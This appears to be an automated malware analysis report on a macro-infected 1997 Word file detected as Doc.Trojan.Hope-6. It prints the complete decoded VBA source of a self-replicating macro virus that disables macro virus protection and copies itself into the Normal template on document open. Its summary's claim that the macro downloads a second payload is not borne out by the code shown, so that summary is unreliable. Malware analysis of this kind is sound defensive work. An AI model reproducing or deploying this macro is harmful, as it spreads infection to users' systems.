Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b65c962eb873613…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f76d1ee35c78c25f7ef64a29efb539a5 SHA-1: 17a9487e59328d6f21b4c9598be86dfc8f169892 SHA-256: 6b65c962eb873613e7673a2ca6477f2eadedbf3e2971fb6c5f9ec9e320629d3d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro that is triggered by the Document_Open event. The macro's primary function appears to be obfuscating or replacing its own code, and it includes logic that suggests an attempt to download and execute a secondary payload. The ClamAV detection of 'Doc.Trojan.Hope-6' further supports its malicious nature. The document body content is unrelated to the malicious macro's function.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1262 bytes
SHA-256: a393f38b36437e1cddc63c763a7ddbe495d350a3df1ad56ffc1fbd70dfe92628
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open() 'CheeChoong
 On Error Resume Next
 With Options
  .VirusProtection = (1 * 2 * 3 - 6)
  .SaveNormalPrompt = (6 - 3 * 2 * 1)
  .ConfirmConversions = (0 + 0)
 End With
 Set a = NormalTemplate: Set b = a.VBProject: Set c = b.VBComponents
 Set e = ActiveDocument: Set f = e.VBProject: Set g = f.VBComponents
 CheeChoong = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
 g.Item(1).CodeModule.DeleteLines 1, g.Item(1).CodeModule.CountOfLines
 c.Item(1).CodeModule.DeleteLines 1, c.Item(1).CodeModule.CountOfLines
 g.Item(1).CodeModule.AddFromString CheeChoong
 c.Item(1).CodeModule.AddFromString CheeChoong
 If Day(Now()) = Month(Now()) Then
  Assistant.Visible = True
  Assistant.Animation = msoAnimationThinking
  With Assistant.NewBalloon
    .Heading = "CheeChoong!!"
    .Text = "Have a great CheeChoong..."
    .Show
  End With
  Assistant.Visible = False
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.